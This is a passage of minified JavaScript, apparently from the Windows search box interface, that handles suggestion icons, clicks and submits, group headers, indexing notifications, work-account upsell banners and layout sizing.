f=()=>{r.isTopResult?this.renderTopResults():this.renderGroups(),this.resetIconTimers(r.isTopResult,!0)},e=t=>{r.iconsPendingReturn==0?(f(),t&&t()):r.isTopResult?(t&&this._renderTopResultsIconsCBs.push(t),this._renderTopResultsTimerForIcons||(this._renderTopResultsTimerForIcons=n.safeSetTimeout(()=>{this._renderTopResultsTimerForIcons=null,f()},ai,"renderTRIconsAsync"))):(t&&this._renderGroupsIconsCBs.push(t),this._renderGroupsTimerForIcons||(this._renderGroupsTimerForIcons=n.safeSetTimeout(()=>{this._renderGroupsTimerForIcons=null,f()},ai,"renderGRPIconsAsync")))};if(++r.iconsPendingReturn,!i.suppressed&&i.getIcon){n.InstrumentationHelper.notifyIconPending(t,r.isTopResult,"RootViewModel.setupIcon.if");let f=this._partialQuery;i.getIcon(ar.getImageSize(f,i,r.isTopResult),f=>{i.icon=f;let o=()=>{--r.iconsPendingReturn,this._partialQuery&&t==n.SequenceNumberManager.getSequenceNumber()&&(n.InstrumentationHelper.notifyIconReadyOrFailed(t,r.isTopResult,"RootViewModel.setupIcon.geticon"),(r.isTopResult&&n.contains(this.topResults,i)||!r.isTopResult&&this.groups.some(t=>n.contains(t.suggestions,i)))&&e(u))};n.populateImageRatio(i.icon,i.type,o)})}else if(!i.suppressed&&i.icon&&n.canIconFail(i.icon)){n.InstrumentationHelper.notifyIconPending(t,r.isTopResult,"RootViewModel.setupIcon.elseIf");let f=i.icon.getFallbackIcon,o=(n,t)=>t(i.icon);const s=i.icon.isValidSize,h=()=>{i.getIcon=f,this.setupIcon(t,i,r,u),n.InstrumentationHelper.notifyIconReadyOrFailed(t,r.isTopResult,"RootViewModel.setupIcon.iconerr")},c=()=>{i.icon.isSmall=!0,i.getIcon=o,this.setupIcon(t,i,r,u),n.InstrumentationHelper.notifyIconReadyOrFailed(t,r.isTopResult,"RootViewModel.setupIcon.iconsm")};i.icon.onIconError=h;i.icon.onIconRendered=(f,e)=>{s(f,e)||i.icon.isSmall?(n.InstrumentationHelper.notifyIconReadyOrFailed(t,r.isTopResult,"RootViewModel.setupIcon.icondone"),u()):c()};--r.iconsPendingReturn;e()}else--r.iconsPendingReturn,u()}static getImageSize(t,i,r){return(t===null||t===void 0?void 0:t.isSearchHomeZI)?i.type=="TOPL"?7:8:(t===null||t===void 0?void 0:t.scope)==n.Scope.Apps&&!t.queryToFetch?3:n.displayedInGridLayout(i.type)?2:r?0:1}isSuggestionOrGroup(n){return!this.isScopeElement(n)}isSuggestion(t){return!n.isGroup(t)&&!this.isScopeElement(t)&&!this.isAdvancedOption(t)}isDSBItem(n){return!!(n===null||n===void 0?void 0:n.dsb)}isLeftRightArrowKey(n){return n==37||n==39}isAdvancedOption(n){return typeof n.layout=="number"}isFlyout(n){return this.isFlyoutVisible()&&k.indexOf(n)>=0}isBodyOrSuggestion(n){return n&&(n.tagName.toLowerCase()=="body"||n.tagName.toLowerCase()=="iframe"||n.className&&n.classList.contains("suggestion"))}submit(t,i,u,f,o){var l,a,v,w,b,k,d,g,nt,tt;let h=o?5:i?6:1,s=n.getCurrentActiveElement();if(n.DialogBox&&n.DialogBox.isVisible()){n.DialogBox.submit();return}if(this._previewPane&&this._previewPane.hasFocus()){let i=this._previewPane.getSelectedItem();if(i&&i.click&&i.optionType===undefined){i.click(t,h);n.dismissAppWhenRunAsAdmin(i.id);return}}else if(!this._selectedItem||!this.isScopeElement(this._selectedItem)||this._menuFactory.isMenuVisible()||this._popoverFactory&&this._popoverFactory.isPopoverVisible()){if((n.RuntimeConfig.QfMode==5||n.RuntimeConfig.QfMode==9)&&!this._selectedItem){n.Host.submitFileExplorerTextSuggestion((a=(l=this._partialQuery)===null||l===void 0?void 0:l.queryToFetch)!==null&&a!==void 0?a:"");return}}else{_ge(this._selectedItem.id).click();return}let c=this._menuFactory.getSelectedItem();if(c){c.click&&(c.click(t,h,f),n.dismissAppWhenRunAsAdmin(c.id));return}let it=this._popoverFactory?this._popoverFactory.getSelectedItem():null;if(it){this._popoverFactory.submit(it);return}if(n.Host.useImprovedIndexingMessage()){if(((v=this._selectedItem)===null||v===void 0?void 0:v.id)===p||((w=this._selectedItem)===null||w===void 0?void 0:w.id)===r){this.click(t,this._selectedItem,h,f);return}}else if(((b=this._selectedItem)===null||b===void 0?void 0:b.id)===y){this.click(t,this._selectedItem,h,f);return}let rt=!this.isBodyOrSuggestion(s);if(rt){n.Host.isRequestFocusAvailable()?s.id==pt||s.id==yt?s.click():s.id==bt||s.id==e||s.id==kt?s.click():(((k=this._partialQuery)===null||k===void 0?void 0:k.scope)===n.Scope.Work&&((g=(d=this._selectedItem)===null||d===void 0?void 0:d.typeWithSource)===null||g===void 0?void 0:g.type)===n.GroupType.Related||((nt=this._selectedItem)===null||nt===void 0?void 0:nt.id)==wt)&&s.click():s.click();return}if(this._lastUpdatedSequenceNumber!=u&&(!this._selectedItem||this._selectedItem==this.topResults[0])){this._pendingSubmitSequenceNumber=u;this._pendingSubmitModifierKeys=f;this._pendingSubmitTimeStamp=t;return}this._selectedItem?this.click(t,this._selectedItem,h,f):this.groups.length>0&&((tt=this._partialQuery)===null||tt===void 0?void 0:tt.fullPartialQuery)&&this.showDisableEnterMessage()}doubleClickGuardedHandler(t){let i;return(r,u)=>{i&&n.getCurrentTime()-i<=250||(i=n.getCurrentTime(),t(r,u))}}click(t,i,r,u){var e,o;if(this._page.hideTemporaryMessage(),this.isAdvancedOption(i)){i.click&&i.click(t,r,u);return}let f=n.isGroup(i)||this.isSubItem(i)?null:i;if(!i.instItem||f&&f.isReformulation||n.InstrumentationHelper.instrumentItemClick(t,i.instItem,i.sequenceNumber,f?f.instrumentPingBack:null,r,u),!f){i.click&&i.click(t,r,u);return}if(u=u||n.Host.getModifierKeyState(),u.ctrlKey&&u.shiftKey)this.launchVerb(f,ht,t);else if(u.shiftKey)this.launchVerb(f,ct,t);else if(((e=f.removeIcon)===null||e===void 0?void 0:e.selected)&&((o=f.removeIcon)===null||o===void 0?void 0:o.click)&&r===1)f.removeIcon.click(t,r,u);else if(f.click)f.click(t,r,u);else if(f.asyncClick){f.asyncClick(t,r,u).then(n=>{if((n===null||n===void 0?void 0:n.length)>0){f.clickCallback(f,n);this.onSuggestionLaunch(f,this._partialQuery)}});return}this.onSuggestionLaunch(f,this._partialQuery)}onSuggestionLaunch(t,i,r){n.isChildSuggestion(t)&&t.parent&&(t=t.parent);this._itemLaunchEventHandlers.forEach(n=>n(t,i,r));n.getGroupType(t)!=n.GroupType.QuickSearch&&(this._addedManualLbshToMru=!0)}launchVerb(t,i,r){let u=ur("launchVerb",t,n.config.rawVerbs,!1,u=>{let f=!1;for(let t of u)if(t.verb&&t.verb.toLocaleLowerCase()==i.toLocaleLowerCase()){t.executeSync?n.safeExecute(()=>t.executeSync(),"verb.executeSync",null,i):n.Async.safeChain("verb.executeAsync",()=>t.executeAsync(),()=>n.Host.manuallyDismissApp(),null,null,i);f=!0;break}f||t.click(r,0)},()=>!0);u||t.click(r,0)}getGroupHeaderClickAction(t,i,r,u){let f,s,e=null,o=null;if(n.RuntimeConfig.ScopesAvailable){let r=n.getScope(i.type);if(this.isWorkScope())return f=null,i.type!==n.GroupType.Related||(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkScopeListViewEnabled())?i.type===n.GroupType.WorkSuggestions||i.type===n.GroupType.Related||(t===null||t===void 0?void 0:t.isWorkScopeZI)||i.type===n.GroupType.MRUHistory||(f=()=>{var t;_w.bfbWsbTel&&bfbWsbTel.logWorkScopeClick(`${n.GroupType[i.type]}GroupHeader`,{redirectTo:n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.mapRedirectTarget(u.type)});(t=this._headerFooterViewModel)===null||t===void 0?void 0:t.clickHandler(r,"groupHeader",i)}):f=()=>{const t=this.groups.findIndex(t=>t.type===n.GroupType.Related);t>-1&&(this.groups[t].isGroupContainerCollapsed=!this.groups[t].isGroupContainerCollapsed,this._selectedItem.isGroupContainerCollapsed=this.groups[t].isGroupContainerCollapsed)},[f,null,null,null,null];if(r!=n.Scope.All)if(!n.canEnableDsbWebMruInWebScope(t)&&(i.type==n.GroupType.SearchSuggestions||n.config.enableFromYourHistory&&i.type==n.GroupType.FromYourHistory)&&t.isSearchHomeZI)s=n.Host.getLocString("OpenPrivacyPortalButtonText"),e=n.Host.getLocString("ManageSearchHistory"),f=()=>n.Host.launchPrivacyPortalAsync();else return n.isL2(t)||!n.isScopeEnabled(r,n.ScopeConfig[r])?[null,null,null,null,null]:(f=()=>this._headerFooterViewModel.clickHandler(r,"groupHeader",i),[f,null,null,null,null])}if(!f)switch(i.type){case n.GroupType.Store:f=()=>n.Host.launchStoreSearchAsync(t.queryToFetch);break;case n.GroupType.SearchSuggestions:case n.GroupType.FromYourHistory:f=()=>this.launchSearch(t,r);break;case n.GroupType.PathCompletion:f=()=>n.Host.launchFolder(sr(t,this._partialQuery));break;case n.GroupType.Upsell:if(t.isSearchHomeZI)return o={content:"&#xE711",type:2},s=n.Host.getLocString("DismissUpsell"),e=n.Host.getLocString("DismissUpsell"),f=this._upsellViewModel.getDismissButtonAction(),[f,null,s,e,o];break;case n.GroupType.AnaheimDataTile:if(!n.canShowAnaheimWin11ZITopSites()&&n.canShowAnaheimDataSHTileE2E())return o={content:"&#xE711",type:2,className:"anaheimDataTileDismissGroup"},s=n.Host.getLocString("DismissAnaheimData"),e=n.Host.getLocString("DismissAnaheimData"),f=()=>{n.config.enableAnaheimDataTSTile&&(n.LightweightStorage.setItem("AnaheimDataTSTileDismissed","1"),n.InstrumentationHelper.logClientInstEvent("Select","AnaheimDataTSTileDismissed",null,null,"WindowsTelemetry",33554432)),n.Host.refreshCurrentPane()},[f,null,s,e,o];break;case n.GroupType.AnaheimDataList:if(n.canShowAnaheimDataSHListE2E())return o={content:"&#xE711",type:2,className:"anaheimDataListDismissGroup"},s=n.Host.getLocString("DismissAnaheimData"),e=n.Host.getLocString("DismissAnaheimData"),f=()=>{(n.config.enableAnaheimDataHS||n.config.enableAnaheimDataRC)&&(n.LightweightStorage.setItem("AnaheimDataBHListDismissed","1"),n.InstrumentationHelper.logClientInstEvent("Select","AnaheimDataBHListDismissed",null,null,"WindowsTelemetry",33554432)),n.Host.refreshCurrentPane()},[f,null,s,e,o];break;case n.GroupType.PromoBanner:return o={content:"&#xE711",type:2},s=n.Host.getLocString("DismissUpsell"),e=n.Host.getLocString("DismissUpsell"),f=this._upsellViewModel.getDismissButtonAction(),[f,null,s,e,o];case n.GroupType.DMAWeb:return t.thirdPartySearch?[null,null,null,e,o]:(f=()=>n.Host.switchToThirdPartyScope(u===null||u===void 0?void 0:u.sourceApp,t.queryToFetch),[f,null,null,e,o])}if(f){if(!r)throw"No QS code for: "+n.GroupType[i.type];let t=n.InstrumentedItem.getNonSuggestionInstrumentedItem(r,n.SyntheticQSCodesMaps.KValues);return[f,t,s,e,o]}return[null,null,null,null,null]}shouldShowPlusIconInGroupHeader(t,i){if(n.getScope(t)==n.Scope.Web||t==n.GroupType.Store)return!1;if(t==n.GroupType.Apps&&this._partialQuery.queryToFetch.length<n.config.minLengthForIBAonL1)return!0;if(t==n.GroupType.Apps||t==n.GroupType.Settings){let r=i[t==n.GroupType.Apps?"PP":"ST"];return!(r&&r.maxedOut)}return!0}shouldHideGroupHeader(t,i){const u=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.getTenantName(),r=i===n.Host.getLocString("MsbVerticalSuggestionGroupName")||i===n.Host.getLocString("MsbWorkVerticalSuggestionGroupName",u);if(this._partialQuery.scope!==n.Scope.Work||r){if(r&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkScopeListViewEnabled())&&t==n.GroupType.Related)return!0}else return!1;switch(t){case n.GroupType.VisualSearch:case n.GroupType.MsbOnRampButton:case n.GroupType.AIFeed:return!0;default:return!1}}addGroup(t,r,u,f,e){var h,c,k;if(i(this.groups,t))throw new Error("Trying to add repeated group "+t);let y=tf[t.type],[l,a,p,g,w]=this.getGroupHeaderClickAction(this._partialQuery,t,y,r),s=cr(this._partialQuery,t.type,r,!!l);const v=((h=this._partialQuery)===null||h===void 0?void 0:h.scope)===n.Scope.Work,nt=v&&t.source===5;if(t.source&&t.type!==n.GroupType.DMAWeb){const i=n.getGroupSourceDisplayName(t.source);i&&(!v||nt)&&((n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isTenantMsbEnabled())&&t.source==1&&t.type==n.GroupType.Documents?s.title=i+" - "+s.title:s.title+=" - "+i)}let tt=lr(t.type,this._popoverFactory,this._partialQuery.isSearchHomeZI,u);const b=!!n.canShowSearchHomeAIFeed();let o=[];n.isTopHitChildGroup(t)&&!v?o.push("topHitConnectedToGroup"):n.canShowAnaheimWin11ZITopSites()&&t.type==n.GroupType.AnaheimDataTile?o.push("leftPaneZIsuggestions"):t.type==n.GroupType.TopApps||this._partialQuery.isSearchHomeZI&&t.type==n.GroupType.People&&!n.config.msbEnablePeopleZQ||t.type==n.GroupType.AnaheimDataTile?o.push("topItemsGroup"):t.type==n.GroupType.QuickSearch?(o.push("balloonSuggGroup"),n.config.enableballoonSuggGroupUX&&!n.RuntimeConfig.AlwaysWide&&o.push("withAnaunship")):t.type==n.GroupType.QuickWorkSearch?(o.push("quickWorkSearchGroup"),n.msbHost&&n.msbHost.features.isQwsEnabled()&&n.isMsbEnterprise()&&!n.msbHost.isGccHighTenant()&&o.push("topMostGroup")):t.type==n.GroupType.Upsell?(o.push("upsellSuggGroup"),n.shouldEnableAnaheimResetDefault()&&o.push("edgeUpsellDefaultTopBanner")):t.type==n.GroupType.CuratedSuggestions?(o.push("leftPaneZIsuggestions"),n.canShowAnaheimWin11ZITopSites()&&o.push("suggestedItemsGrid"),b&&o.push("isCopilotSH")):t.type==n.GroupType.MRUHistory?(o.push("leftPaneZIsuggestions"),n.canShowAnaheimWin11ZITopSites()&&n.LightweightStorage.getItem("AnaheimDataTSTileDismissed")!="1"&&o.push("recentsItemsGrid"),n.config.trendingSearchInWin11LeftPane&&o.push("leftHalfPane","topGroup"),b&&o.push("isCopilotSH")):t.type==n.GroupType.People&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isPeopleZeroQueryEnabled(this._partialQuery))?o.push("recommendedSuggGroup"):t.type==n.GroupType.RecommendedDocs||t.type==n.GroupType.Documents&&n.isRecommendedDocsGroupEnabled(this._partialQuery)?(o.push("recommendedSuggGroup"),n.msbHost&&n.msbHost.features.isQwsEnabled()&&n.isMsbEnterprise()&&!n.msbHost.isGccHighTenant()&&o.push("topMostGroup")):t.type==n.GroupType.AnaheimDataList?o.push("anaheimDataGroup"):t.type==n.GroupType.AnaheimDataTopHit?o.push("anaheimDataGroup"):t.type==n.GroupType.AnaheimDataQF?o.push("anaheimDataGroup"):t.type==n.GroupType.TrendingSearchData?(n.config.trendingSearchInWin11LeftPane?o.push("leftPaneZIsuggestions","leftHalfPane","bottomGroup"):o.push("trendingSearchDataGroup"),n.isTSInSearchBoxEnabled()&&o.push("dynamicTsTag")):t.type==n.GroupType.CuratedSettings?o.push("curatedSettingsGroup"):t.type==n.GroupType.Apps&&this._partialQuery.isSearchHomeZI?o.push("mruApps"):t.type==n.GroupType.Store?o.push("storeAppsGroup"):n.canEnableDsbWebMruInWebScope(this._partialQuery)?o.push("leftPaneZIsuggestions"):t.type==n.GroupType.AIFeed?(o.push("aiFeedGroup"),o.push("isCopilotSH")):t.type==n.GroupType.SmartActions&&(o.push("smaGroup"),o.push("isCopilotSH"));k=!n.config.useCobaltCSS||n.config.useCobaltCSS&&n.config.enableDSBWin11FullWidth;(k&&n.isZeroInputAllScope(this._partialQuery)||((c=this._partialQuery)===null||c===void 0?void 0:c.isWorkScopeZI))&&o.push("mru10");let d={type:t.type,typeWithSource:t,id:"gr"+t.type+(t.source||""),text:s.title,secondaryText:p,secondaryIcon:w,narratorText:s.narratorText,tooltip:g,click:l,onlyAnnotationIsClickable:l&&(!!p||!!w),suggestions:[],instRegionName:n.GroupType[t.type],instItem:a,selected:!1,cssClasses:o.join(" ")||undefined,sequenceNumber:u,showPlusIconInHeader:this.shouldShowPlusIconInGroupHeader(t.type,e),hideGroupHeader:this.shouldHideGroupHeader(t.type,s.title),popover:tt};return a&&n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(u,y,a),this._resultsCounter.groups.push({typeWithSource:t,suggestions:[]}),this.insertGroup(d,f),d}insertGroup(t,i){let u=i.findIndex(i=>n.sameGroup(i,t.typeWithSource)),r=!1;for(let f=0;f<this.groups.length;f++){let e=i.findIndex(t=>n.sameGroup(t,this.groups[f].typeWithSource));if(e>u){this.groups.splice(f,0,t);r=!0;break}}r||this.groups.push(t)}handlePendingSubmit(t){if(this._pendingSubmitSequenceNumber==this._lastUpdatedSequenceNumber)try{if(this.topResults.length==0)(this.groups.length>0||t.length>0)&&this.showDisableEnterMessage();else{let t=this.topResults[0];return n.InstrumentationHelper.instrumentItemClick(this._pendingSubmitTimeStamp,t.instItem,t.sequenceNumber,t.instrumentPingBack,1,this._pendingSubmitModifierKeys),this._pendingSubmitModifierKeys&&this._pendingSubmitModifierKeys.ctrlKey&&this._pendingSubmitModifierKeys.shiftKey?this.launchVerb(t,ht,this._pendingSubmitTimeStamp):this._pendingSubmitModifierKeys&&this._pendingSubmitModifierKeys.shiftKey?this.launchVerb(t,ct,this._pendingSubmitTimeStamp):t.click(this._pendingSubmitTimeStamp,0,this._pendingSubmitModifierKeys),0}}finally{this.resetPendingSubmitSequenceNumber()}return 1}showDisableEnterMessage(){this._page.showTemporaryMessage(n.Host.getLocString("EnterOnAmbiguousTopHitMessageText"))}showIndexingMessage(t){if(!n.Host.useImprovedIndexingMessage()){var i;t?(this._turnOnIndexingInstItem=null,this._launchIndexingDataModel=null):(this._turnOnIndexingInstItem=n.InstrumentedItem.getNonSuggestionInstrumentedItem("IMIO",n.SyntheticQSCodesMaps.KValues),i={id:y,selected:null,text:n.Host.getLocString("WindowsIndexingDisabledAction"),title:null,instItem:this._turnOnIndexingInstItem,click:(t,i)=>{let r=n.SequenceNumberManager.getSequenceNumber();r>this._lastUpdatedSequenceNumber&&n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(r,"IMIO",this._turnOnIndexingInstItem);n.InstrumentationHelper.instrumentItemClick(t,this._turnOnIndexingInstItem,r,null,i,null);n.LocalDataProvider.launchIndexingOptions(!1)},layout:1,isSelectable:!0});this._launchIndexingDataModel={messageText:t?n.Host.getLocString("WindowsIndexingInProgressMessage"):n.Host.getLocString("WindowsIndexingDisabledMessage"),icon:t?{content:"&#xE895",type:2}:null,messageClassName:"indexingMessage",title:t?n.Host.getLocString("WindowsIndexingInProgressToolTip"):n.Host.getLocString("WindowsIndexingDisabledToolTip"),action:i};this._page.updateTemporaryMessageView(this._launchIndexingDataModel);this._shouldHideWorkUpsell=!0}}hideIndexingMessage(){this._turnOnIndexingInstItem=null;this._page.updateTemporaryMessageView(null);this._shouldHideWorkUpsell=!1}updateIndexingNotificationVisibility(){if(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.windowsSearchCatalogStatus){this.showIndexingIncompleteNotification();return}if(n.Host.useImprovedIndexingMessage()){const t=SearchAppWrapper.CortanaApp.persistentStorage.getItem(r);t!=="1"&&SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getSearchCatalogStatusAsync&&n.Async.safeChain("getSearchCatalogStatusAsync",()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getSearchCatalogStatusAsync(),n=>{switch(n){case 7:case 0:this.hideIndexingIncompleteNotification();break;default:this.showIndexingIncompleteNotification()}})}}showIndexingIncompleteNotification(){let t,i;this._launchIndexingStatusInstItem=n.InstrumentedItem.getNonSuggestionInstrumentedItem("IMIP",n.SyntheticQSCodesMaps.KValues);this._dismissIndexingNotificationInstItem=n.InstrumentedItem.getNonSuggestionInstrumentedItem("IMDN",n.SyntheticQSCodesMaps.KValues);t={id:p,selected:null,text:n.Host.getLocString("WindowsIndexingNotificationCheckStatusAction"),title:n.Host.getLocString("WindowsIndexingNotificationCheckStatusAction"),tooltip:n.Host.getLocString("WindowsIndexingNotificationCheckStatusActionTooltip"),instItem:this._launchIndexingStatusInstItem,click:(t,i)=>{n.logToMC("Bing_QF_RootViewModel",p,"showIndexingIncompleteMessage");let r=n.SequenceNumberManager.getSequenceNumber();r>this._lastUpdatedSequenceNumber&&n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(r,"IMIP",this._launchIndexingStatusInstItem);n.InstrumentationHelper.instrumentItemClick(t,this._launchIndexingStatusInstItem,r,null,i,null);n.LocalDataProvider.launchIndexingStatus(!1)},layout:1,isSelectable:!0};i={id:r,selected:null,text:n.Host.getLocString("WindowsIndexingNotificationDismissAction"),title:n.Host.getLocString("WindowsIndexingNotificationDismissAction"),instItem:this._dismissIndexingNotificationInstItem,click:(t,i)=>{n.logToMC("Bing_QF_RootViewModel",r,"showIndexingIncompleteMessage");const u=new Date;u.setDate(u.getDate()+1);SearchAppWrapper.CortanaApp.persistentStorage.setItem(r,"1",u);let f=n.SequenceNumberManager.getSequenceNumber();f>this._lastUpdatedSequenceNumber&&n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(f,"IMDN",this._dismissIndexingNotificationInstItem);n.InstrumentationHelper.instrumentItemClick(t,this._dismissIndexingNotificationInstItem,f,null,i,null);this.hideIndexingIncompleteNotification()},layout:1,isSelectable:!0};this._indexingNotificationDataModel={messageText:n.Host.getLocString("WindowsIndexingIncompleteDetail"),icon:null,messageClassName:"indexingIncompleteMessage",title:n.Host.getLocString("WindowsIndexingNotificationCheckStatusAction"),messageTextTitle:n.Host.getLocString("WindowsIndexingIncompleteMessage"),action:t,dismissAction:i};this._page.updateTemporaryMessageView(this._indexingNotificationDataModel);n.logToMC("Bing_QF_RootViewModel","DisplayIndexNotification","OnSuggestionsParsed");this._shouldHideWorkUpsell=!0}hideIndexingIncompleteNotification(){this._launchIndexingStatusInstItem&&(this._launchIndexingStatusInstItem=null,this._dismissIndexingNotificationInstItem=null,this._page.updateTemporaryMessageView(null));this._shouldHideWorkUpsell=!1}shouldShowWorkUpsellMessage(){var t;const i=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkUpsellApplicable();if(i&&!this._shouldHideWorkUpsell)try{const i=JSON.parse(n.LightweightStorage.getItem(c));if(!this.isWorkUpsellExpired(i))return(i===null||i===void 0?void 0:i.clicked)!==h&&((t=this._partialQuery)===null||t===void 0?void 0:t.scope)==n.Scope.All}catch(r){return!1}return!1}isWorkUpsellExpired(t){const i=new Date,u=i.getDate(),r=i.getTime(),f=i.setDate(u+(n.config.msbWorkScopeBannerExpiryInDays||0));if(t&&t.expireDate&&!this.isOldVersion(t.version))return r>t.impressionsExpireDate&&r<t.expireDate&&(t.impressionsExpireDate=i.setDate(u+1),t.impressionsCount=0,this.setWorkUpsellInfo(t)),t.version==1&&t.expireDate>f&&t.clicked!=h&&n.isMsbInternalTenant()&&(t.expireDate=f,this.setWorkUpsellInfo(t)),r>t.expireDate||t.impressionsCount>=rr&&r<t.impressionsExpireDate;else{const t={clicked:0,expireDate:f,version:n.config.msbWorkScopeBannerIndicatorVersion,impressionsCount:0,impressionsExpireDate:i.setDate(u+1)};return this.setWorkUpsellInfo(t),!1}}isOldVersion(t){return t?t<n.config.msbWorkScopeBannerIndicatorVersion:!0}setWorkUpsellInfo(t){n.LightweightStorage.setItem(c,JSON.stringify(t))}updateWorkUpsell(t,i){try{if(t){const n=this.createWorkUpsellModel();n&&(this.updateWorkUpsellImpressionsCount(i),this._page.updateWorkUpsellAreaView(n))}else{const i=new Date,r=i.getTime();let t=JSON.parse(n.LightweightStorage.getItem(c));(t===null||t===void 0?void 0:t.clicked)==h||r>(t===null||t===void 0?void 0:t.expireDate)?this._page.removeWorkUpsellAreaView():this._page.updateWorkUpsellAreaView(undefined)}}catch(r){n.LogWSBError("updateWorkUpsell",r,undefined,undefined,undefined,"WindowsTelemetry");this._page.updateWorkUpsellAreaView(undefined)}}updateWorkUpsellImpressionsCount(t){try{let i=JSON.parse(n.LightweightStorage.getItem(c));t&&i.impressionsCount<rr&&(i.impressionsCount=i.impressionsCount+1,this.setWorkUpsellInfo(i));_w.bfbWsbTel&&bfbWsbTel.logWorkScopeImpression("WsbWorkUpsell")}catch(i){throw new Error("Trying to get Work Upsell information form local storage");}}createWorkUpsellModel(){const t=n.config.useCobaltCSS;try{let i=JSON.parse(n.LightweightStorage.getItem(c)),r=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.getTenantName();return{title:n.Host.getLocString("WorkUpsellTitle"),message:n.Host.getLocString("WorkUpsellMessage"),icon:{type:0,content:t?n.getImageUrl("ODSWG.f9357954-5e91-44ae-bf9e-4b01af111786"):n.getImageUrl("ODSWG.7d74e98f-f8f8-4514-b56c-a703d2feee72")},buttonMessage:n.Host.getLocString("WorkUpsellButtonMessage"),buttonDismissMessage:n.Host.getLocString("WorkUpsellCobaltDismissButtonMessage"),tooltip:n.Host.getLocString("WorkUpsellButtonTooltip",r),buttonClickHandler:()=>{var t;(t=this._headerFooterViewModel)===null||t===void 0?void 0:t.clickHandler(n.Scope.Work,"WsbWorkUpsell");i.clicked=h;this.setWorkUpsellInfo(i);this._page.updateWorkUpsellAreaView(undefined);_w.bfbWsbTel&&bfbWsbTel.logWorkScopeClick("WsbWorkUpsell")},dismissClickHandler:()=>{i.clicked=h,this.setWorkUpsellInfo(i),this._page.updateWorkUpsellAreaView(undefined),_w.bfbWsbTel&&bfbWsbTel.logWorkScopeClick("WsbWorkUpsellDismiss")}}}catch(i){return undefined}}getAvailableSpace(t){if(n.isL2(this._partialQuery)&&this._partialQuery.queryToFetch)return Number.MAX_VALUE;let i=this._page.getSuggestionsContainerHeight();return(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isTopBrandingBarEnabled())&&(i-=hi+10),n.config.extraTopPadding&&!n.RuntimeConfig.SearchBoxOnTop&&(i-=n.config.extraTopPadding),n.RuntimeConfig.ScopesAvailable&&(i-=gr),t.topResults.length==0||n.RuntimeConfig.FlatListWithoutGroups||(i-=yr),t.topResults.forEach(t=>i-=fr(t,n.isL2(this._partialQuery))),n.config.enableReBalanceWebChatSuggestion?t.groups.filter(t=>{var i;return((i=t.typeWithSource)===null||i===void 0?void 0:i.type)!==n.GroupType.ChatWithBing}).forEach(n=>i-=er(this._partialQuery,n)):t.groups.forEach(n=>i-=er(this._partialQuery,n)),t.groups.some(t=>t.typeWithSource&&n.isTopHitChildGroup(t.typeWithSource))&&t.groups.some(t=>t.typeWithSource&&!n.isTopHitChildGroup(t.typeWithSource))&&(i-=dr),i}getAvailableSpaceForZeroInputHomeTopSection(t,i){let r=this._page.getSuggestionsContainerWidth();if(n.shouldShowStaticSearchHome(this._partialQuery)||n.shouldShowDSBLayout(this._partialQuery))return r;r-=n.RuntimeConfig.AlwaysWide?nu:tu;r-=et;let u=t?t.suggestions.filter(n=>n&&!n.suppressed).length:0;u+=i.suppressed?0:1;let f=n.RuntimeConfig.AlwaysWide?iu:ru;return r-=(f+et)*u,n.config.useCobaltCSS&&(r+=2*et),r}canFitSuggestion(t,r,u){if(n.config.enableFullFitSearchTheWebMaxSuggestions&&(r.type==n.GroupType.SearchSuggestions||n.config.enableFromYourHistory&&r.type==n.GroupType.FromYourHistory)&&!this._partialQuery.isSearchHomeZI&&!t&&this.getAvailableSpace(this._resultsCounter)>=43)return u.suppressed&&(u.suppressed=!1),!0;if(u.suppressed||n.getTweakedSetting("scrollBarInL1")||r.type==n.GroupType.DMAWeb||u.handoffType===21)return!0;let e=ti(this._resultsCounter),f;return t?(f={typeWithSource:r,suggestions:[]},e.groups.push(f)):f=i(e.groups,r),f.suggestions.push({mainTextWrapsToTwoLines:u&&a(u,r.type,!1),isSuppressed:u&&u.suppressed,hasTwoLines:u&&n.contains(u.classNames,"forceNoWrapOutsideTopResult")}),this._partialQuery.isSearchHomeZI?this.canFitSuggestionInZeroInputHome(r,u):this.getAvailableSpace(e)>=0}canFitSuggestionInZeroInputHome(t,r){if(r.type==="SNSC"||t.type===n.GroupType.TrendingSearchData||(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isQwsEnabled())&&(t.type===n.GroupType.QuickWorkSearch||t.type===n.GroupType.RecommendedDocs)||n.config.msbEnablePeopleZQ&&this._partialQuery.scope==n.Scope.People)return!0;let u=i(this.groups,t);return t.type==n.GroupType.MRUHistory?!0:hr(t.type)?this.getAvailableSpaceForZeroInputHomeTopSection(u,r)>=0:(u?u.suggestions.length:0)<this.getMaxNumberOfRecentItems(t.type)}getCountOfSuggestionsToReduce(){let t=0,i=SearchAppWrapper.CortanaApp.height;(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isTopBrandingBarEnabled())&&n.isTwoPanesZIEnabled()&&(i-=hi);let e=n.shouldShowStaticSearchHome(this._partialQuery)||n.shouldShowDSBLayout(this._partialQuery),u=i-ot,r=n.canShowSearchHomeUpsell(this._partialQuery)&&e,o=n.isTextUpsized(),f=SearchAppWrapper.CortanaApp.entryPoint;if(e&&!o)i<cu?t=r?7:4:i<hu?t=r?6:3:i<su?t=r?5:2:i<ot?t=r?4:1:i>ot&&r&&(u<v/3?t=4:u<v/2?t=3:u<v/1.5?t=2:u<v&&(t=1));else if(o){let n=f=="WNSSTB"||f=="WNSSSB"||f=="WNSPBS"||f=="WNSGLY";t=n?4:3}else i<ou?t=4:i<eu?t=3:i<fu?t=2:i<uu&&(t=1);return t}getMaxNumberOfRecentItems(t){var 